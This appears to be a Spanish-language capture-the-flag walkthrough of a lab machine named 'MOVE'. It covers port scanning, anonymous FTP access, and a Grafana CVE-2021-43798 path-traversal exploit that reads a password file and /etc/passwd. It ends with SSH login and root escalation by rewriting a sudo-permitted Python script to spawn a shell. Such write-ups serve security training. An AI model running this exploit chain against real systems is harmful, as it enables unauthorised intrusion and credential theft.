MOVE

Primero hacemos un ping para ver la conectividad con la máquina:

```
❯ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.049 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.049/0.049/0.049/0.000 ms
```

Vemos que tenemos conectividad con la máquina y que el TTL es de 64, por lo que probablemente estemos ante una máquina Linux.

Ahora vamos a hacer el escaneo de puertos:

```
❯ nmap -sS -p- --open --min-rate 5000 -n -vvv -Pn 172.17.0.2 -oG allPorts
```

```
PORT     STATE SERVICE REASON
21/tcp   open  ftp     syn-ack ttl 64
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
3000/tcp open  ppp     syn-ack ttl 64
```

Ahora vamos a hace un escaneo más exhaustivo para sacar más información:

```
nmap -sCV -p21,22,80,3000 172.17.0.2 -oN targeted
```

```
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    1 0        0              26 Mar 29 09:28 mantenimiento [NSE: writeable]
22/tcp   open  ssh     OpenSSH 9.6p1 Debian 4 (protocol 2.0)
| ssh-hostkey:
|   256 77:0b:34:36:87:0d:38:64:58:c0:6f:4e:cd:7a:3a:99 (ECDSA)
|_  256 1e:c6:b2:91:56:32:50:a5:03:45:f3:f7:32:ca:7b:d6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.58 (Debian)
3000/tcp open  ppp?
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 302 Found
```

Vemos dos cosas interesantes, el FTP tiene el anonymous login activado y hay un archivo, y el puerto 3000 parece una web.

Primero vamos a obtener el archivo de FTP para ver que contiene:

```
❯ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.3)
Name (172.17.0.2:romy): anonymous
331 Please specify the password.
Password:
230 Login successful.
```

Vemos que es un directorio con un archivo llamado database:

```
ftp> cd mantenimiento
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||35501|)
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0            2021 Mar 29 09:26 database.kdbx
```

Vamos a descargarnos el archivo para analizarlo:

```
ftp> get database.kdbx
local: database.kdbx remote: database.kdbx
229 Entering Extended Passive Mode (|||52906|)
150 Opening BINARY mode data connection for database.kdbx (2021
100% |***********************************************************
226 Transfer complete.
2021 bytes received in 00:00 (4.06 MiB/s)
ftp> exit
221 Goodbye.
❯ ls
database.kdbx
```

Ya lo tenemos por lo que vamos a analizarlo:

```
❯ keepass2john database.kdbx > move_database.txt
! database.kdbx : File version '40000' is currently not supported!
```

Da este error por lo que vamos a seguir por otras vías.

El puerto 3000 nos abre un login a Grafana, pero vamos a ver si por el puerto 80 encontramos directorios con gobuster:

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.17.0.2 -x .php,.txt,.html
```

Encontramos un maintenance.html y vemos lo siguiente:

Website under maintenance, access is in /tmp/pass.txt

El grafana es de la versión 8.3.0, el cual tiene la vulnerabilidad CVE-2021-43798 la cual es un Arbitrary File Read Vulnerability, por lo cual vamos a intentar acceder a la información por esta vía:

Nos descargamos de este repositorio el script y seguimos los pasos:

https://github.com/taythebot/CVE-2021-43798

```
go run exploit.go -target http://172.17.0.2:3000 -file /tmp/pass.txt
```

```
[INFO] Exploiting target http://172.17.0.2:3000
[INFO] Successfully exploited target http://172.17.0.2:3000
t9sH76gpQ82UFeZ3GXZS
```

Y encontramos lo que es una contraseña, ahora vamos a intentar ver los diferentes usuarios:

```
❯ go run exploit.go -target http://172.17.0.2:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://172.17.0.2:3000
[INFO] Successfully exploited target http://172.17.0.2:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
ftp:x:101:104:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
grafana:x:103:105::/usr/share/grafana:/bin/false
freddy:x:1000:1000::/home/freddy:/bin/bash
```

Y vemos un usuario freddy, vamos a intentar acceder por ssh a este usuario:

```
❯ ssh freddy@172.17.0.2
```

```
freddy@249ab4c20432:~$ whoami
freddy
```

Y ya estamos dentro, ahora vamos a escalar a usuario privilegiado:

Con sudo -l vemos que podemos ejecutar un script de python :

```
freddy@249ab4c20432:/opt$ sudo -l
Matching Defaults entries for freddy on 249ab4c20432:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/

User freddy may run the following commands on 249ab4c20432:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py
```

Vemos que somos los dueños de este script, por lo que lo cambiamos para poder ejecutarlo:

```
freddy@249ab4c20432:/opt$ ls -l
total 4
-rwxr-xr-x 1 freddy freddy 44 Sep 22 12:33 maintenance.py
```

Cambiamos el script:

```
└─$ cat maintenance.py
import os

os.system("/bin/bash")
```

Y como lo podemos ejecutar como cualquier usuario, lo ejecutamos como root:

```
└─$ sudo -u root /usr/bin/python3 /opt/maintenance.py
┌──(root㉿249ab4c20432)-[/opt]
└─# whoami
root
```

Y ya somos root.